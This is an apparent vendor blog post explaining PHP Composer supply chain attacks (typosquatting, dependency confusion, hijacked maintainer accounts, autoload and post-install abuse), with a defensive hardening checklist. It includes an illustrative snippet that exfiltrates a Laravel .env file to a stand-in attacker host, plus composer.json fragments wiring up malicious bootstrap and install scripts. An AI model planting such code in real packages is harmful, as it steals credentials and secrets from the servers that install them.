PHP Supply Chain Attacks: How Malicious Packages Sneak Into composer.json
Typosquatting, dependency confusion, and hijacked maintainer accounts. A breakdown of how PHP supply chain attacks work, real incidents, and what you can do to protect your Composer dependencies.
Your Laravel application probably has somewhere between 50 and 150 Composer dependencies once you count transitive packages. Each one of those packages is code you did not write, maintained by people you have never met, downloaded automatically every time you run composer install. That is a massive trust surface - and attackers know it.
PHP supply chain attacks target this trust. Rather than finding a vulnerability in your application code, an attacker compromises one of your dependencies. The malicious code arrives through your normal workflow, passes through your CI pipeline, and deploys to production without triggering a single alarm.
This post breaks down the main attack vectors, shows real-world examples, and gives you a concrete checklist for hardening your Composer dependency chain.
The Attack Surface: Why Composer Is a Target
Packagist, the default package repository for Composer, serves billions of installs per year. It hosts over 350,000 packages covering everything from HTTP clients to PDF generators to authentication libraries.
A typical Laravel application pulls in 30-50 direct dependencies. Once you resolve transitive dependencies (the packages your packages depend on), that number balloons to 100-150 or more. Run composer show | wc -l on any production Laravel app and you will likely be surprised.
This creates an enormous attack surface for several reasons:
- Scale of impact. A single compromised package can propagate to thousands of projects within hours of a new release being tagged.
- Implicit trust. Developers rarely audit the source code of their dependencies. You trust that
guzzlehttp/guzzleis safe because millions of people use it. - Automatic updates. If your composer.json uses version ranges like
^7.0, acomposer updatewill pull the latest matching version automatically. - Autoload execution. Unlike npm, PHP does not have install scripts by default. However, Composer's autoload mechanism means that malicious code can execute the moment a class is loaded. Combined with
post-install-cmdandpost-update-cmdscripts in composer.json, there are multiple execution paths available to an attacker.
The PHP ecosystem has been somewhat slower to experience supply chain attacks compared to npm and PyPI, but that gap is closing. As PHP remains one of the most deployed server-side languages (powering roughly 75% of websites with a known server-side language), it is an increasingly attractive target.
Typosquatting: The Simplest Attack
Typosquatting is the lowest-effort, highest-reward supply chain attack. The concept is simple: publish a package with a name that is one character off from a popular, legitimate package.
How It Works
- The attacker identifies a popular package, say
monolog/monolog(over 300 million installs). - They register a similar name on Packagist:
monolog/monolог(with a Cyrillic character),monolag/monolog, ormonolog/monolog2. - The malicious package contains the same code as the legitimate one - often copied directly - plus a payload hidden in a service provider, an autoloaded file, or a post-install script.
- A developer makes a typo when running
composer requireor editing their composer.json. The malicious package installs without errors.
What Malicious Packages Typically Do
Once installed, typosquatted packages commonly:
- Exfiltrate
.envfiles. Your database credentials, API keys, and application secrets get sent to an attacker-controlled endpoint. - Install reverse shells. A persistent backdoor that gives the attacker remote access to your server.
- Deploy cryptominers. Your server's CPU gets used to mine cryptocurrency.
- Inject code into responses. JavaScript gets added to your HTML output to steal user credentials or redirect to phishing pages.
Here is a simplified example of what malicious autoload code might look like:
// src/Support/ServiceProvider.php
namespace MaliciousPackage\Support;
class ServiceProvider
{
public static function register(): void
{
// Legitimate-looking code above...
if (file_exists(base_path('.env'))) {
$env = file_get_contents(base_path('.env'));
@file_get_contents(
'https://attacker-endpoint.com/collect?d=' . base64_encode($env)
);
}
}
}
This code looks innocuous at a glance - it is in a file that seems like a normal service provider. The @ suppresses errors so it fails silently if the exfiltration endpoint is down.
Detection and Prevention
- Double-check package names before running
composer require. Copy them directly from Packagist rather than typing from memory. - Check download counts. A typosquatted package will have dramatically fewer downloads than the real one.
- Run
composer auditregularly. Reported typosquats get flagged in vulnerability databases. - Review new dependencies in pull requests. Any new entry in composer.json should be verified.
Dependency Confusion
Dependency confusion is a more targeted attack that exploits how Composer resolves packages when multiple repositories are configured.
How It Works
Many companies use private Composer repositories (like Private Packagist, Satis, or a simple path repository) for internal packages. A typical setup might have:
- An internal package called
acme/billing-sdkhosted on a private Satis server - Packagist.org configured as a fallback for public packages
The vulnerability: if an attacker publishes acme/billing-sdk on Packagist.org with a higher version number than your internal package, Composer may resolve to the public version instead of your private one.
Composer's Resolution Behavior
By default, Composer searches all configured repositories and picks the highest version that satisfies the constraint. If your private registry has acme/billing-sdk at version 2.3.1 and an attacker publishes version 99.0.0 on Packagist, Composer will choose 99.0.0.
The Fix
Explicitly configure repository priorities using the canonical option:
{
"repositories": [
{
"type": "composer",
"url": "https://packages.your-company.com",
"canonical": true
},
{
"packagist.org": false
}
]
}
Setting "canonical": true tells Composer that any package found in this repository should only be loaded from this repository, even if a higher version exists elsewhere. Disabling Packagist entirely (with "packagist.org": false) is the most secure option if all your dependencies are mirrored in your private registry.
A less restrictive but still effective approach:
{
"repositories": [
{
"type": "composer",
"url": "https://packages.your-company.com",
"canonical": true,
"only": ["acme/*"]
}
]
}
This ensures anything under the acme/ namespace can only come from your private registry.
Who Is Vulnerable
Any organisation that:
- Uses private Composer packages
- Has not set
canonical: trueon their private repository - Still has Packagist enabled as a fallback
If this describes your setup, fix it today. It takes five minutes and eliminates the attack vector entirely.
Hijacked Maintainer Accounts
This is the most dangerous category because the malicious code comes from a package you already trust, published by an account that has legitimate access.
How It Happens
- Credential reuse. A maintainer uses the same password on Packagist as on a breached service.
- Compromised GitHub tokens. If the maintainer's GitHub account is compromised and the Packagist package is configured to auto-update from GitHub, pushing a malicious commit triggers a new release automatically.
- Social engineering. An attacker gains maintainer access through a fake "help maintain this package" request.
Real-World Precedents
While PHP has not yet had a catastrophic maintainer account compromise at the scale of the event-stream incident in npm (which targeted a package with 2 million weekly downloads), the risk is identical. The PyPI ecosystem saw multiple incidents in 2024 and 2025 where maintainer accounts were compromised to push malicious versions of popular packages.
In the PHP ecosystem, there have been documented cases of:
- Abandoned packages being taken over by new maintainers who injected malicious code
- GitHub repositories being compromised, leading to tainted releases on Packagist
- Maintainer credentials found in data breach dumps being used to push new versions
Prevention
- Enable 2FA on Packagist. This is the single most impactful step. It prevents credential-stuffing attacks from succeeding even if the password is compromised.
- Enable 2FA on GitHub. If your Packagist package auto-syncs from GitHub, a compromised GitHub account is equivalent to a compromised Packagist account.
- Use
composer.lockreligiously. Your lock file pins every dependency to an exact version and hash. Even if a new malicious version is published,composer installwill not pull it unless someone runscomposer update. - Review diffs on update. When you do run
composer update, review the changes.composer show --diffor reviewing the lock file diff in your pull request shows exactly what changed.
Malicious Autoload Hooks
Composer's autoload mechanism is powerful and convenient. It is also a potential execution vector for malicious code.
How Autoload Can Be Abused
When you include a package in your project, its autoload configuration gets merged into your project's vendor/autoload.php. This means:
- Any file listed in the
autoload.filesarray gets included on every request - Classes in
autoload.classmaporautoload.psr-4execute when first loaded - A malicious package can register a file that runs on every single HTTP request to your application
{
"autoload": {
"files": ["src/malicious-bootstrap.php"]
}
}
The files autoload is particularly dangerous because those files execute unconditionally on every request, not just when a specific class is used.
Post-Install and Post-Update Scripts
Composer supports lifecycle scripts that run automatically:
{
"scripts": {
"post-install-cmd": "MaliciousPackage\\Installer::run",
"post-update-cmd": "MaliciousPackage\\Installer::run"
}
}
These scripts execute with the same permissions as your PHP process. They can write files, make network requests, modify your codebase, or install persistent backdoors.
How to Audit
List all scripts that will run:
composer run-script --list
For safer installs, especially in CI environments:
composer install --no-scripts --no-plugins
The --no-scripts flag prevents any lifecycle scripts from executing. The --no-plugins flag prevents Composer plugins (which can also execute arbitrary code) from loading.
After installing without scripts, you can selectively run only the scripts you trust:
composer run-script post-autoload-dump
What You Can Do Today
Here is a concrete checklist for hardening your Composer dependency chain:
1. Run composer audit in CI
Add composer audit to your CI pipeline so it runs on every build. This checks your lock file against the PHP Security Advisories Database and will fail the build if known vulnerabilities are found.
# GitHub Actions example
- name: Security audit
run: composer audit --format=plain
2. Pin Dependencies with composer.lock
Always commit composer.lock to version control. This ensures that composer install uses exact versions rather than resolving the latest version matching your constraints. Review lock file diffs in pull requests - any unexpected package changes should be investigated.
3. Monitor for Typosquats
Check that every package in your composer.json matches the canonical name on Packagist. Be wary of packages with very low download counts that share names similar to popular packages.
4. Use canonical: true for Private Registries
If you use private Composer packages, configure your repositories section to prevent dependency confusion:
{
"repositories": [
{
"type": "composer",
"url": "https://your-private-registry.com",
"canonical": true
}
]
}
5. Enable 2FA Everywhere
Enable two-factor authentication on:
- Packagist (if you maintain packages)
- GitHub (especially for accounts linked to Packagist)
- Any private package registry
6. Use StackShield for Continuous Monitoring
Running composer audit catches known vulnerabilities at build time, but new vulnerabilities are disclosed daily. Use a tool like StackShield to continuously monitor your dependency tree for newly disclosed vulnerabilities, suspicious version bumps, and changes in package ownership. You get alerted immediately rather than waiting for your next CI build.
7. Audit Your composer.json Scripts
Review the scripts section of your root composer.json and every dependency's composer.json. Understand what runs during install and update. In CI, use --no-scripts to prevent automatic script execution and run only the scripts you explicitly trust.
8. Review New Dependencies Before Installing
Before adding any new package:
- Check the package on Packagist: download count, recent releases, maintainer activity
- Review the repository on GitHub: open issues, commit history, contributor count
- Look at the package's composer.json for scripts and autoload files entries
- Search for known security issues or advisories
The Bigger Picture
Supply chain security is not a problem you solve once. It is an ongoing practice that requires vigilance at multiple levels: choosing dependencies carefully, monitoring them continuously, and having processes in place to respond when something goes wrong.
The PHP ecosystem benefits from some structural advantages over npm (no implicit install scripts, a more centralised package registry), but it is not immune. As PHP continues to power a massive portion of the web, attackers will increasingly target the supply chain as the path of least resistance.
Start with the basics: composer audit in CI, lock files committed and reviewed, 2FA enabled. Then layer on continuous monitoring and dependency review processes. Every layer you add makes a successful supply chain attack against your application significantly harder.
Your dependencies are your code's extended trust boundary. Treat them accordingly.
Frequently Asked Questions
What is a PHP supply chain attack?
A PHP supply chain attack targets the software dependencies your application relies on rather than the application itself. Attackers publish malicious packages to Packagist that look like legitimate libraries, hijack maintainer accounts to inject backdoors into trusted packages, or exploit dependency confusion between private and public registries. When you run composer install or composer update, the malicious code gets pulled into your project automatically.
What is typosquatting in Composer?
Typosquatting is when attackers publish packages with names that closely resemble popular legitimate packages. For example, publishing "symfoony/http-kernel" instead of "symfony/http-kernel". Developers who make a typo in their composer.json or CLI command unknowingly install the malicious package instead of the real one. The malicious version typically contains the same functionality as the original plus hidden backdoor code.
How do I check if my Composer dependencies are safe?
Run composer audit to check your lock file against known vulnerability databases. Review your composer.json for packages you do not recognise. Check package download counts and repository activity on Packagist before installing new dependencies. Use a lock file (composer.lock) and commit it to version control so dependencies are pinned to specific versions. Consider using tools like StackShield to continuously monitor your dependencies for newly disclosed vulnerabilities.
What is dependency confusion in PHP?
Dependency confusion exploits the way Composer resolves package names. If your project uses a private package registry alongside Packagist, an attacker can publish a package on Packagist with the same name as your private package but with a higher version number. Composer may resolve to the public (malicious) version instead of your private one. The fix is to explicitly configure repository priorities in your composer.json.
Can composer audit detect supply chain attacks?
composer audit checks for known, disclosed vulnerabilities in your dependencies. It will not detect a newly published typosquatting package or a compromised maintainer account that has not been reported yet. Composer audit is one layer of defense but should be combined with dependency review, lock file monitoring, and continuous security scanning for comprehensive protection.
Related Articles
Laravel Debug Mode in Production: Why It's Dangerous and How to Fix It
Debug mode in production exposes stack traces, database credentials, environment variables, and internal paths. Learn exactly what it reveals, how attackers use it, and how to make sure it never reaches production.
SecurityOWASP Top 10 for Laravel: Every Vulnerability Explained with Code Fixes (2026)
Map every OWASP Top 10 category to real Laravel vulnerabilities. Includes code examples of what goes wrong, how to detect each issue, and step-by-step fixes.
SecurityIs Your Laravel .env File Exposed? How to Check and Fix It
Your .env file contains database credentials, API keys, and encryption secrets. If it's accessible from the web, attackers already have everything they need. Here's how to check and fix it.
Compare StackShield
Security Checklists
Laravel Production Deployment Security Checklist
A comprehensive security checklist for deploying Laravel applications to production. Covers environment config, server hardening, access control, and monitoring.
20 itemsLaravel API Security Checklist
Secure your Laravel API endpoints against common vulnerabilities. Covers authentication, input validation, rate limiting, and response security.
Stay Updated on Laravel Security
Get actionable security tips, vulnerability alerts, and best practices for Laravel apps.